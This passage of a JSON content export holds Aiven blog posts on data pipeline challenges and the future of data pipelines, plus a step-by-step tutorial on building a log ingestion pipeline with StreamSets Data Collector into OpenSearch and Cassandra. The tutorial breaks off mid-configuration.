systems evolve, you’ll need to accommodate high-velocity, variable-length events: a schemaless model. And, analytics data is more likely to require the schema flexibility of a wide column store or NoSQL offering.\n\n[Cassandra](https://cassandra.apache.org/_/index.html) is schema-optional and column-oriented. As a wide column store, you don’t need to model all of the required columns initially; each row doesn’t need the same set of columns. [InfluxDB](https://en.wikipedia.org/wiki/InfluxDB) is a schemaless time-series database, which lets you add new fields at any time.\n\nA wide column store like [Cassandra](https://aiven.io/cassandra) have been proven to be popular choices for analytics data, and Aiven offers it.\n\n### 4. Scaling with your data\n\nAnalysts sometimes still import data in isolated, all or nothing atomic batches. But today’s data volume and velocity, and the need for real-time insights render this approach ineffective. Analysts must be able to __automatically scale their data storage.__\n\nYou may be getting your application, enterprise, or infrastructure analytics data from one device, system, or set of sensors today, but may have a million tomorrow. How do you manage an ever-growing velocity and volume of data?\n\nYou’ll be limited by your on-prem hardware and data store, rendering sharding and replication necessary. But these are complex and require hours of troubleshooting and rework when they go wrong. The best solution is a managed system that automatically scale as your data grows.\n\n### 5. Moving your data around\n\nDepending on how your data is consumed, you'll need to get it from one place to another. Many enterprises run batch jobs nightly to take advantage of non-peak hours compute resources. Therefore, the picture you see from your data is from yesterday, making real-time decisions impossible.\n\nEnter the message queue. Earlier, developers moved data around by deploying custom data-transmission protocols. We've seen [JMS](https://en.wikipedia.org/wiki/Java_Message_Service), (limited to transmission between java-language specific components), and [RabbitMQ](https://aiven.io/blog/kafka-v-rabbitmq-a-comparison \"Kafka v RabbitMQ compared\"), with the flexible and configurable publish and subscribe capabilities of [AMQP](https://www.amqp.org/).\n\nFor large-scale data ingestion, Apache Kafka tends to be preferred among pub-sub messaging architectures because it partitions data so that producers, brokers, and consumers can scale incrementally as load and throughput expand. [Aiven Kafka](https://aiven.io/kafka) lets you deploy it in minutes.\n\n### 6. Mashing up and transforming your data\n\nCompanies also focused on transactional data from production databases and user engagement data from SDKs and generated events. Today, there are more data sources than ever: website tracking, cloud-stored _flat files_, CRM, other databases, eCommerce, marketing automation, ERP, IoT, other large datasets via REST APIs, and mobile apps, etc. __To mash up and transform data__ means getting competitive insights on all of the data.\n\n\u003e Different databases are better suited for different things.\n\nMentioned previously, Cassandra is good as a high-availability, distributed data store, and InfluxDB is great for time-series data. But, you may need a key-value or traditional SQL store, or full-text search on unstructured data.\n\n[Redis](https://redis.io/) is an in-memory, super fast, NoSQL key-value database that is also used as a cache and message broker because of its high performance. [Aiven for Caching](https://aiven.io/caching) provides automatic setup and maintenance, with one-click provisioning.\n\n[PostgreSQL](https://www.postgresql.org/) is the go-to open-source object-relational DBMS for companies ranging from manufacturing to IoT. Aiven leverages its expertise to provide [Aiven for PostgreSQL](https://aiven.io/postgresql), the fastest, high-availability Postgres of any provider.\n\nNeed to search and index vast quantities of unstructured data? [OpenSearch](https://opensearch.org/) is a distributed document and full-text indexing service that supports complex data analytics in real-time. [Aiven for OpenSearch](https://aiven.io/opensearch) as a service has the longest reach of all with five major clouds.\n\n### 7. Visualizing everything\n\nFinally, data doesn't necessarily come out the other end of the pipeline in a way that's humanly readable. You need to be able to __visualize everything.__ _Data needs to be available in a form that could be further queried and analyzed, and eventually visualized_.\n\n\u003e Trends and correlations unseen in plain data can often best emerge when visualized.\n\n[Grafana](https://github.com/grafana/grafana) is an open-source metric, analytics visualization, and alerting suite. [Aiven Grafana](https://aiven.io/grafana) helps you gain new insights by enabling dashboards from multiple data sources simultaneously.\n\n## Wrapping up\n\nA data pipeline is any set of processes designed for two things: to define what data to collect, where and how; and to extract, transform, combine, validate, and load the data for further analysis and visualization.\n\nThere are many unique ways to go about this, so it's best to look at all available options before you start to build. To get an idea of the components used to build modern data pipelines, read our post on [the future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines).\n\n## Next steps\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n::banner{ctaText=\"Read case study\" ctaLink=\"https://aiven.io/case-studies/aiven-cloud-helps-adeo\" title=\"Adeo runs hundreds of PostgreSQL databases with Aiven\"}","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-19b011489eddfab9d3adbbb2057927a33193d6c4-752x405-png","_type":"reference"}},"publishedAt":"2018-10-25T00:00:00.000Z","related":[{"_key":"61a172a86e22","_ref":"2ARfgdP4N2VhaJRepsobky","_type":"reference"},{"_key":"c11a9905e3b7","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"},{"_key":"47cb8e2014e1","_ref":"511wpsZ0T89kHsHMU38Rz4","_type":"reference"}],"seo":{"metaDescription":"The current data landscape presents many challenges for data pipelines to overcome. Read this post to find out what they are.","metaImage":{"alt":"","asset":{"_ref":"image-19b011489eddfab9d3adbbb2057927a33193d6c4-752x405-png","_type":"reference"}},"metaTitle":"7 challenges that data pipelines must solve"},"slug":{"_type":"slug","current":"/blog/7-challenges-that-data-pipelines-must-solve"},"subtitle":"The current data landscape presents many challenges for data pipelines to overcome. Read this post to find out what they are.","title":"7 challenges that data pipelines must solve"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1j7S5htNtJI8a7hDmtBmZb","_rev":"0bD0yWvurDucdXi3F3VQgB","_type":"post","_updatedAt":"2024-09-25T10:58:51Z","authors":[],"body":"We've previously looked at the [7 challenges that data pipelines must solve](/blog/7-challenges-that-data-pipelines-must-solve). Next, let's look into the future. In order to understand where things are going, it's useful to first look at where they've __been__.\n\n200 years ago, if you wanted to send a message somewhere, you wrote a letter and potentially waited years for a response. 150 years ago, you could accomplish roughly the same thing by telegraph in as little as a day. A few decades later, telephone and radio were able to transmit and receive __immediately__.\n\nThe same happened with visual information 80 years ago thanks to the first commercial television. Next came the rise of PCs in the early 1980’s where data could be readily stored and searched (locally). Then, just 25 years ago, the world wide web emerged, and with it, the need for dynamic, __distributed__ data stores.\n\n![Timeline of data technology](https://cdn.sanity.io/images/sczeoy4w/production/4b09be0810a20ad5be0522095675e84a1ce32b87-1980x788.png)\n\n## What have we learned?\n\nFor argument’s sake, let's consider our \"message\" and \"data\" to be identical. So what have we learned? With each innovation, the data in our pipelines grew and transformed, in terms of:\n\n* __Amount —__ The sheer amount of data a system (a [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) is required to handle within a set timeframe.\n\u003cbr\u003e\n* __Velocity —__ The speed at which the data travels through the pipeline, which subsequently affects the speed at which a response can be expected.\n\u003cbr\u003e\n* __Purpose —__ The function the data being transmitted serves. Is it the message payload itself? Metadata for use by the transmission mechanism? Formatting? Headers? Instructions for another system?\n\u003cbr\u003e\n* __Trajectory —__ The direction(s) the data moves in. Data no longer merely moves from point to point, such as with a telegraph, but often between several different sets of points simultaneously, e.g. a TV broadcast. Or a peer-to-peer network or blockchain. This implies that for every single producer, there are possibly many consumers.\n\u003cbr\u003e\n* __Format —__ Data may come as structured, unstructured, plaintext, encrypted, binary, or even embedded within other data. Data can also be commands to subsequent systems in the pipeline. Or any combination thereof.\n\n## So, what about now?\n\nWith the mobile and smart phone, mobile devices and recently, the world of IoT with connected infrastructure and devices, we're seeing the amount of generated data explode and continue its metamorphosis in form and function.\n\nAccording to [IDC](https://www.seagate.com/files/www-content/our-story/trends/files/idc-seagate-dataage-whitepaper.pdf), there were 16.1 zettabytes of data generated in 2016. That's projected to grow to 163 zettabytes in 2025 with users worldwide expected to interact with a data-driven endpoint device every 18 seconds on average.\n\n![Graph of annual growth rate of generated data](https://cdn.sanity.io/images/sczeoy4w/production/bfe681b61a67e6820672c637a38b3f2645934078-1030x792.png)\n\nLet’s look at what we believe data pipelines and components will need to be able to achieve in terms of functionality, design, compliance, usability, performance, and scalability to handle this scale.\n\n### 1. Functionality\n\nJust a decade ago, a pipeline was generally unidirectional, point-to-point, dealt with siloed business background data, and ingested it in batch (often schema-rigid through an inflexible ETL) during off hours when CPU resources and bandwidth were free.\n\nToday, data is ubiquitous and can even be [life critical](https://www.seagate.com/files/www-content/our-story/trends/files/idc-seagate-dataage-whitepaper.pdf). As such, data is in the foreground of users’ everyday lives. Consequently, pipelines may need to run polydirectionally (from point of ingestion to one or more central data lakes or data warehouses for processing, and back to edge data centers and even endpoint devices to be processed, visualized and rendered).\n\nMuch of this happens in real- or near-real-time. __Core-to-endpoint__ analytics, like those found in some modern cars, are a good example of this.\n\n![Example of core-to-endpoint data pipeline](https://cdn.sanity.io/images/sczeoy4w/production/aa68320df4224387b3107d8726dda5f521333f13-1749x593.png)\n\nAn interesting side-trend emerging from these phenomena is that the data pipelines are not just an IT component supporting the business, but, increasingly _are_ the business.\n\n\u003e Alooma is one notable example of a data-pipeline-as-a-service; many other services work in a specific domain with a real-time data pipeline at their core.\n\nAs embedded __IoT Devices__ proliferate and __mobile real-time data__ grows, the immense volume of data generated within such pipelines must be accomodated and made appropriately available. This suggests a few requirements:\n\n1. Pipelines and their components must be capable of auto-scaling, sharding and partition-tolerance with minimal — if any — human interaction;\n2. Pipelines and their data flow be troubleshootable and configurable on the fly;\n3. Pipelines be agnostic to - and able to accommodate — a range of formats, from fully ACID-compliant to completely structured data, but;\n4. Pipelines implement measures to capture, fix and requeue events that error out.\n\nAnalytics pipelines will also increasingly serve as a funnel/conduit for data to be ingested and used toward __training AI and ML models.__ This is already built into systems like Apache [HiveMall](https://hivemall.incubator.apache.org/) that sit atop the data pipeline and make deductions, detect anomalies, or translate data into commands for e.g. endpoint devices or connected systems.\n\nThese systems will largely self-perpetuate and automate continuous improvements via updates to both the data pipelines and the software components of products.\n\nThat said, in the future, the challenge for humans supporting these AI systems won't be as much about training intelligence algorithms or devices (AI will learn to self-train), but keeping an eye on things and, when necessary, intervene to refine/tune/retrain the machine learning component as it self-develops to keep these systems from going off the rails.\n\n### 2. Design\n\nWe've already discussed the need for present and future data pipelines to support __core-to-endpoint systems, exponentially-growing data volume and near real-time velocity.__ But a few other trends are becoming increasingly ubiquitous in the design of data pipelines themselves.\n\nAn important consideration for any self-improving pipeline is a __kill switch.__ When the system (or machine learning part of it) begins to go erratic and produce \"improvements\" that are either suboptimal if not downright dangerous, there must be a way to turn off the pipeline or the machine learning component for troubleshooting or retraining.\n\nSince SQL is such a common paradigm for understanding data, __pipelines will continue to evolve to look more like databases:__ data in the pipeline can be modelled on the fly, and one can query the data in a pipeline at any point — either in motion or at rest — using standard SQL.\n\n\u003e We're already seeing streaming SQL variants such as [KSQL](https://www.confluent.io/product/ksql/), [SQL on Amazon Kinesis](https://docs.aws.amazon.com/kinesisanalytics/latest/dev/streaming-sql-concepts.html), [Apache Calcite](https://calcite.apache.org/docs/stream.html), and Apache Pulsar SQL, which are starting to support things like windowing and joins.\n\nWhile those examples query data _in the stream_, the next step is to make it possible to query data from anywhere in the pipeline from a single SQL interface. This ties to the notion of table/stream duality that vendors like Confluent are currently talking about.\n\nAnother design concern relates to the __handling of systems utilizing blockchain or distributed ledgers.__ Order is important for transactions on the blockchain, while, in many cases, in the presence of a network partition, [the compromise between consistency and availability](https://en.wikipedia.org/wiki/CAP_theorem) needs to be tweaked.\n\nSimilar to how technologies like [RadixDLT](https://www.radixdlt.com/) already do, we'll see more of these systems __implementing immutable, ordered, event ledgers as tunably-consistent distributed databases.__\n\nIn a [previous blog](https://aiven.io/blog/7-challenges-that-data-pipelines-must-solve), we covered the origin of the publish-subscribe mechanism. It's also important to the trajectory of our data. Rather than having a point-to-point integration between every data producer and consumer (with system complexity equaling _n*n_), it's far simpler to build data communication around a common interface (complexity equaling _n + n_) while making our consumers smart enough to decide which data they’ll consume.\n\nAs a design consideration then, __the pub-sub mechanism will remain a major player in data pipelines__; in addition to Apache Kafka and Amazon Kinesis, we'll continue to see disruptors in that space, e.g. Apache Pulsar.\n\nThe design consideration underlying all of these points is the __immutable, ordered event log.__ Simply put, producers append to the log in transactional order, while smart consumers select _which_ events they consume.\n\n![Schematic of Apache Kafka immutable, ordered event log](https://cdn.sanity.io/images/sczeoy4w/production/f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png)\n\n__Source: Martin Kleppmann's Kafka Summit 2018 Presentation,__ [Is Kafka a Database?](https://www.youtube.com/watch?v=v2RJQELoM6Y)\n\nThe immutable, ordered event log is a feature in most data pipelines today, and it isn’t going anywhere.\n\n### 3. Compliance (including security)\n\nSo how will you secure the data in such an event log? As it turns out, more complicated than simply securing the entire log.\n\nGDPR [compliance rules are complex](https://www.varonis.com/blog/gdpr-requirements-list-in-plain-english/), but generally stipulate that personal data with an EU citizen's name or ID be kept _accurate and up to date, secure, transparent as to its use, and restricted to the minimum to do the job_. Most importantly, under the European _Right to be Forgotten_, users can withdraw consent to store their personal data.\n\nThis makes securing a sequential event log a challenge, as different ranges of rows, or partitions in the log, could correspond to different users' data. So what do you do?\n\nOne option is to just discard any personally identifying information before writing it to your data store. However, Yair Weinberger of Alooma was asked this very question during a recent talk and suggested three choices a future pipeline designer can make:\n\n1. __If the data is difficult to access, it doesn't exist.__ Here, the idea is to write different partitions of a log to different locations. Once the permission to the data is revoked (or sunsets), remove or deny access to that location.\n\n2. __Automatically anonymize.__ Email addresses and identifying information can be hashed as you go.\n\n3. __Selectively revoke the encryption key.__ Different partitions in your log are encrypted with keys when stored. When the data permission sunsets, destroy the associated key. [SpectX](https://www.spectx.com/), from Estonia, currently offers yet another choice:\n\n4. __Don't move data at all!__ It's possible to query logs and do analysis remotely -- without ever importing the data to your system. (This also provides the additional advantage of not needing to prepare the data before import!)\n\nThus, you'll be able to choose whether or not to pipe your data into a system you control or query it in place (or do all of the above from a mix of remote and local locations). But there are some possible trade-offs to consider in terms of:\n\n* latency;\n* tunnel security;\n* data storage (compliance) requirements;\n* storage space requirements (and associated costs);\n* CPU/GPU power required (and associated costs).\n\n### 4. Usability (including designability)\n\nDesign relates to how data pipelines are designed — including what features and attributes they have — to handle their requirements (and that of their data). __Designability__ has more to do with what features must be available to users to design pipelines.\n\nAs they become more common, pipelines will be assembled from building-block type components like __time-series databases, distributed ledgers, full text search, key-value stores, and partitioned, distributed streaming platforms.__ We expect that users will find full, common configurations available preassembled, installable with as little as a single click.\n\nWith an abstraction layer built in, there will be less need to code and configure the pipelines, although customization will always possible. This means GUIs are to be available for the entire lifecycle — from installation and configuration — through to deployment and use and, finally end-of-life. These pipelines will autoscale, with the possibility to add functional, modular \"building blocks\" as needed.\n\nSolutions like [Treasure Data](https://www.treasuredata.com/), Alooma, [Landoop](https://lenses.io/) and [StreamSets](https://streamsets.com/) already let users work with various aspects of Apache Kafka and/or data pipelines via a GUI.\n\n### 5. Performance (including reliability)\n\nAs you can probably guess, performance must generally continue to improve as data pipelines become more widespread: latency will approach zero, while mean-time-to-failure will approach forever.\n\nIt's hard to find an exact benchmark that applies to all, as each data pipeline is different. But, over time, we predict that the latency of access to data stores and streams will continue to shrink.\n\nThe same goes for measuring mean-time-to failure (MTTF), as a reliability metric: over time, pipelines will approach zero failures (while _MTTF → ∞_). It's an asymptotic relationship, because of course, queries will always take some time and there will always be some failures.\n\nAs companies like [ScyllaDB](https://www.scylladb.com/) have demonstrated, components will move from interpreted or JVM code to natively-coded elements, which will improve speed, latency and throughput across the board.\n\nThese improvements will take place under massively growing loads, whether computation is taking place at the core, an edge data center, or endpoint device.\n\n### 6. Scalability\n\nThe quantity of data generated even within a system is likely to outpace the capacity to store it all. This means that DevOps staff of the future will likely need to make decisions about which data is kept volatile and temporary and which is made persistent and stored.\n\nMetadata will continue to offer space savings, and it's likely that the format of metadata will continue to advance so that those savings can be compounded even more. In spite of all of these developments, pipelines and their data stores will need to be able to massively autoscale to accommodate future load and velocity. This includes the ability to modularize and add components (via containers or VMs, which can be toggled on and off as necessary).\n\n### Wrapping up\nTo get to 163 ZB in 2025 (and beyond), pipelines will need to accommodate data that continues to evolve and transform in terms of _amount, velocity, purpose, trajectory, and format_, to name just a few attributes.\n\nThe data pipelines of tomorrow will continue to evolve, just as those of the past have evolved to today. We've looked at some of what what data pipelines and components will need to achieve in terms of _functionality, design, compliance, usability, performance, and scalability_.\n\nAiven offers hosted-database and messaging platform solutions that let you easily spin up state-of-the-art data infrastructure configurations with just a few clicks. Change will come, whether you're ready or not. Want future-proof, scalable, and flexible data pipelines so that you don't need to worry? [Try out Aiven for free, for 30 days](https://console.aiven.io/signup).\n\n\n## Further reading\n\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405-png","_type":"reference"}},"publishedAt":"2018-11-23T00:00:00.000Z","related":[{"_key":"7afe3c175287","_ref":"3XuqgtpVB8UTqnS5628RKC","_type":"reference"},{"_key":"b18deb0e0758","_ref":"2ARfgdP4N2VhaJRepsobky","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The one theme that underlies all future data pipelines will be handling massive scale. Read this post to find the specifics.","metaImage":{"alt":"","asset":{"_ref":"image-acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405-png","_type":"reference"}},"metaTitle":"The future of data pipelines | Read about Aiven's approach"},"slug":{"_type":"slug","current":"/blog/the-future-of-data-pipelines"},"subtitle":"The one theme that underlies all future data pipelines will be handling massive scale. Read this post to find the specifics.","title":"The future of data pipelines"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"511wpsZ0T89kHsHMU38Rz4","_rev":"Y1Zuby3sRDA3bPurvuTyyq","_type":"post","_updatedAt":"2024-09-25T10:59:45Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"What if you could design and build a complete data architecture in minutes instead of months? And what if you could accomplish this using free and open source tools?\n\nPreviously, we’ve always thought about the [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) as the domain of the Data Engineer - and that skill stack necessarily includes those of the architect, software developer, database and messaging system admin, and a pile of other things. \n\nIn fact, it’s probably not an unreasonable hypothesis that in data engineering, the [Pareto principle](https://en.wikipedia.org/wiki/Pareto_principle) applies: 80% of the effort makes up only 20% of the output. And what is that 80%? Installs, maintenance and updates, bringing down nodes back up, running ZooKeeper, while partitioning and sharding — along with major upgrades — also play a factor. \n\nAnd then there are all the homespun scripts, programs, connectors and configurations that have to be made! This would seem especially true when using open source tools, where you have to be sure that your budget gets you the one person (or dedicated team) with all the right chops.\n\nBut what could you do if you didn't have to go through with all that? What if you could leverage easy, plug-and-play architectures in your data pipelines alongside _managed services_? The time and money you could save will, of course, free up your resources to serve up data to your customers and organization in newer, better, and more innovative ways. \n\nAnd you'll have more of those resources, because with an abstraction layer simplifying your dataflow, you don't even NEED to be a data engineer anymore to build pipelines! As mentioned, that doesn’t mean the need for data engineers’ skills will go away - it just means that those precious engineering chops can be [put to better use](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services).\n\nIn this article, we'll build a complete, end-to-end data pipeline using drag-and-drop assembly alongside hosted, managed persistence services. We’ll leverage StreamSets' open source drag-and-drop data pipeline builder, [Data Collector](https://streamsets.com/products/dataops-platform/data-collector-engine/), along with Aiven's hosted and managed [Apache Cassandra](/cassandra) and [OpenSearch](/opensearch). And we'll go from [ingesting log data to running analytics queries in our data stores](https://aiven.io/blog/7-challenges-that-data-pipelines-must-solve) (what before has taken months) in minutes!\n\n## The short version - Logs via Data Collector into OpenSearch\n\n**NOTE: I’ve used steps particular to my setup and environment, which you may need to adjust. You’ll need a little fluency with the technologies used here, so **_your mileage may vary_**.\n\nIn this first part, we’ll read logs from our local directory (stored under the Data Collector), tweak a few things and send events containing a couple of fields, namely ```geo``` (latitude and longitude), ```referrer```, ```clientip```, ```timestamp```, and ```city``` into our ```logs``` index on our Aiven for OpenSearch instance. \n\n\u003e A real production use case might retrieve log files via FTP, or from S3, but a local directory is convenient for our purposes here.\n\n![StreamSets Data Connector Pipeline with Aiven for OpenSearch destination](https://cdn.sanity.io/images/sczeoy4w/production/e2c815b4a8a2eda5592132e8c4e444d734d6d598-1015x179.png)\n\nYou’ll need to set up a few things first. (We’re basing this first part largely on this [log ingestion tutorial](https://github.com/streamsets/tutorials/blob/master/tutorial-1/readme.md) from StreamSets, so you’ll also see some — _but not all_ — of the steps and prerequisites laid out there. In particular, that tutorial does not use the Docker image). We’ll point out ```\u003cvariables\u003e``` where appropriate.\n\nDownload the [sample data](https://github.com/streamsets/tutorials/tree/master/sample_data) and GeoIP database, and store it somewhere convenient.\n\n\u003e You can also download [this script](https://github.com/kiritbasu/Fake-Apache-Log-Generator) to generate more voluminous logs in real time.\n\nFirst, you’ll want to get a version of StreamSets’ open source Data Collector. For demos, I’ll often take the Docker variant. You’ll want to create a few Docker volumes for use in your Data Collector pipeline:\n\n```\n$ docker volume create --name sdc-resources\n$ docker volume create --name sdc-data\n#optional, but recommended\n```\n\nDownload and run the docker version of StreamSets Data Collector, taking both volumes into use:\n\n```\n$ docker run -v sdc-resources:/resources -v sdc-data:/data -p 18630:18630 -d --name sdc streamsets/datacollector dc\n```\n\nOnce it’s up, you can sanity check Data Collector in your browser. \n\n```\nURL: http://localhost:18630/\n```\nlogin: ```admin/admin```\n\n![Quick review of common Docker commands](https://cdn.sanity.io/images/sczeoy4w/production/ca0ec25d1624e96f1e00a2c63d9f4e895d210a53-718x270.png)\n\nNext, copy your sample data under your volumes, so you can access the data from Data Collector. First, the Geolite database:\n\n```\n$ docker cp GeoLite2-City.mmdb sdc:/resources\n```\n\nAdd the source log files into Data Collector resources:\n\n```\n$ docker cp access_log_20151221-101535.log sdc:/resources\n$ docker cp access_log_20151221-101548.log sdc:/resources\n$ docker cp access_log_20151221-101555.log sdc:/resources\n...601...\n...666...\n```\n\nYou’re ready to spin up your Aiven for OpenSearch instance. You can use Aiven Console, but if you’re using [Aiven CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli), then:\n\n```\n$ avn service create es-sstutorial -t elasticsearch --plan hobbyist\n```\n\nOnce the service is created, and up and running, you’ll need to create an OpenSearch index, into which to pipe your processed data from your source logs. \n\nFor the sake of brevity, let’s say we want to collect just our ```timestamp``` and ```geo``` fields, so we can analyze what is coming from where, when. Copy the service URI for your Aiven for OpenSearch instance. And then create the root mapping for your index:\n\n**NOTE: Newer versions of OpenSearch require the ```_doc``` mapping.**\n\n```\n$ curl -X PUT -H \"Content-Type: application/json\" 'https://avnadmin:\u003cpassword\u003e@\u003cserviceURI\u003e:\u003cport\u003e/logs?include_type_name=true' -d '{\n \"mappings\": {\n  \"_doc\" : {\n   \"properties\" : {\n    \"timestamp\": {\n     \"type\": \"date\"\n    },\n    \"geo\": {\n     \"type\": \"geo_point\"\n    }\n   }\n  }\n }\n}'\n```\n\n![Quick review of OpenSearch cleanup commands you will need](https://cdn.sanity.io/images/sczeoy4w/production/1cfe14832f1a84ad1cf9b69faa7bc5133db446dc-664x154.png)\n\nNext, we’ll create the pipeline that processes our logs and stashes the results into our OpenSearch instance.\n\n\u003e For this first part, I’ll be sticking to a basic description, but you can find a [more detailed one](https://github.com/streamsets/tutorials/blob/master/tutorial-1/log_shipping_to_elasticsearch_part1.md) complete with Data Collector screenshots and explanations — upon which this first part was based — at the link.\n\nOpen the Data Collector and create a new pipeline.\n\nDrag the _Directory origin_ stage onto your canvas.\n\nUnder _Configuration =\u003e Files_ point your _Files Directory_ to _/resources_ as shown. I unzipped the logs and so used the ```*.log``` as a _File Name Pattern_, with the _...Mode_ set to ```Glob```.\n\n![StreamSets Directory Origin with log files](https://cdn.sanity.io/images/sczeoy4w/production/acbc9c20365cbe722640e5b9aa1b1c9a41a4f697-1024x422.png)\n\nSet _Post Processing =\u003e File Post Processing_ to ```None```. Under _Data Format_ set:\n* _Data Format_: ```Log```\n* _Log Format_: ```Combined Log Format```\n\nNow, lets define our ```geo``` field. Drag and drop an _Expression Evaluator_ onto your canvas. Go to _Configuration =\u003e Expressions_ and set _Output Field_ to ```/geo``` and the _Field Expression_ to ```${emptyMap()}```. This creates a ```Map``` data structure that we’ll populate with the value of our geo object.\n\nNow, we’ll need to convert a few of our fields from their default ```text``` types to numeric values, in particular ```Response Code```, ```Bytes``` and the ```DATETIME``` timestamp. Drag and drop a _Field Type Converter_ into the pipeline. Now, go to _Configuration =\u003e Conversions_ and fill it in accordingly:\n\n![Converting field types](https://cdn.sanity.io/images/sczeoy4w/production/ad3a0a4544952eb992ae5c3894b430d92025aef9-1050x527.png)\n\n**NOTE: This will require a few extra steps, including converting the _Date Format_. That format string is ```dd/MMM/y:H:m:s Z```. Remember to use the ```+``` button to add conversions.**\n\nIn our next stage, we’ll need to perform a GeoIP lookup, and process three related fields. Drag and drop a _GeoIP_ stage into your pipeline. In it, go to _Configuration=\u003eGeolocation_ and fill in the settings accordingly:\n\n![Adding a GeoIP stage and converting types](https://cdn.sanity.io/images/sczeoy4w/production/ee94a5a0014192d5c0515e5bc530f275281dec8c-931x444.png)\n\nFinally, we’re going to add our Aiven for OpenSearch as a destination. Drag and drop an _OpenSearch_ stage onto the canvas, filling _Configuration=\u003eOpenSearch_ settings as follows:\n* _Cluster HTTP URIs_: ```https://\u003cserviceURI\u003e:\u003cport\u003e```\n* _Time Basis_: ```${time:now()}```\n* _Index_: ```logs```\n* _Mapping_: ```_doc```\n\n_Configuration=\u003eGeneral_\n* _Name_: ```Aiven for OpenSearch```\n\nWhile testing everything out, you can use the Data Collector’s Preview Mode to run the pipeline and OpenSearch dashboards Dev tools Console instance associated with your Aiven for OpenSearch instance to count records and query your indexes to verify the data is delivered:\n\n![Running OpenSearch Count and Match all queries from OpenSearch dashboards Devtools](https://cdn.sanity.io/images/sczeoy4w/production/da01cf3102c58a1388f06e6d4f003123a0d413f1-1102x360.png)\n\n## The longer version - dual ingest: OpenSearch and Cassandra\nA more realistic scenario involves a dual ingest — a [_lambda architecture_](https://en.wikipedia.org/wiki/Lambda_architecture) — where some data goes to one store with one purpose and some of our data goes to another. While we’re already ingesting some of our data into OpenSearch, we’d like to ingest a few of the fields into Cassandra for long-term storage and analytics in CQL.\n\n\u003e An actual lambda architecture would also typically involve performing real-time processing on the stream.\n\n![StreamSets Data Connector Pipeline with Aiven for OpenSearch and Cassandra destinations](https://cdn.sanity.io/images/sczeoy4w/production/9a5bc1ef95f3e3fbac5837917c04bedc375be76d-1056x250.png)\n\nFor our purposes, we’re going to import three fields into Aiven for Apache Cassandra: ```uuid```, ```city_name```, and ```referrer```. Cassandra needs a unique row identifier, so we’ll modify the pipeline to create a ```uuid``` field, and use the ```city_name```, and ```referrer``` fields from the log data.\n\nYou’ll need to spin up an Aiven for Apache Cassandra instance, again, using either Aiven Console, or [Aiven CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli), as in:\n\n```\n$ avn service create cassandra-sstutorial -t cassandra --plan startup-4\n``` \n\nOnce your Cassandra service is up, download ```ca.pem``` from your Aiven for Apache Cassandra service to the folder you wish to run CQLSH from. \n\n\u003e ```ca.pem``` is accessible on Aiven Console from your Aiven for Apache Cassandra service under the service’s _Overview =\u003e Connection information_.\n\nHere’s the connection string you’ll need to connect CQLSH to your Aiven for Apache Cassandra instance:\n\n```\nSSL_CERTFILE=ca.pem cqlsh --ssl -u avnadmin -p \u003caiven_for_cassandra_password\u003e --cqlversion=\"3.4.4\" \u003cservice_URI\u003e \u003cport\u003e\n```\n\nYou’ll also need to add an authentication connection from Aiven for Apache Cassandra to the Data Collector. This involves generating a ```truststore.jks``` using that same ```ca.pem``` and copying it to the docker Data Collector instance:\n\n```\n$ keytool -import -file ca.pem -alias CA -keystore truststore.jks\npw: \u003cyour_password\u003e\ntrust: yes\n\n$ docker cp truststore.jks sdc:/resources\n```\n\nFrom your CQLSH prompt, go ahead and create the keyspace and table you’ll be importing the data into your Aiven for Apache Cassandra instance:\n\n```\nCREATE KEYSPACE location WITH REPLICATION = {'class': 'NetworkTopologyStrategy', 'aiven': 3};\nUSE location;\nCREATE TABLE city (UUID text PRIMARY KEY, city_name text, referrer text);\n```\n\n\u003e Deleting your Cassandra table as a cleanup step is easy: ```DROP TABLE city;```\n\nLet’s add a few more stages to your pipeline to connect to Cassandra. \n\nFirst, get an _Expression Evaluator_ and connect it with a new arrow to the _Geo IP_ stage that we connected to OpenSearch. Under _Configuration=\u003eField Expression_, create the following mapping:\n\n![Adding a field expression mapping to a StreamSets Data Connector pipeline](https://cdn.sanity.io/images/sczeoy4w/production/d732b277f38609e843aea5d25fdae1d08590d091-901x134.png)\n\nLets grab a _Field Renamer_ and connect it as our next stage, with the following mapping:\n\n![Optional step to rename fields](https://cdn.sanity.io/images/sczeoy4w/production/0e21baec9c80c4fd46a895b61a72df95059b1154-990x295.png)\n\n\u003e It’s possible to skip the _Field Renamer_ stage and simply map ```/city``` to ```city_name``` in the Cassandra destination stage. \n\nFinally, we’ll create our Aiven for Apache Cassandra destination in the Data Collector. Connect in a _Cassandra_ stage, configuring it as follows:\n\n_Configuration=\u003eGeneral_\n* _Name_: ```Aiven for Apache Cassandra```\n\n_Configuration=\u003eCassandra_\n* _Cassandra Contact Points_: ```https://\u003cserviceURI\u003e```\n* _Cassandra Port_: 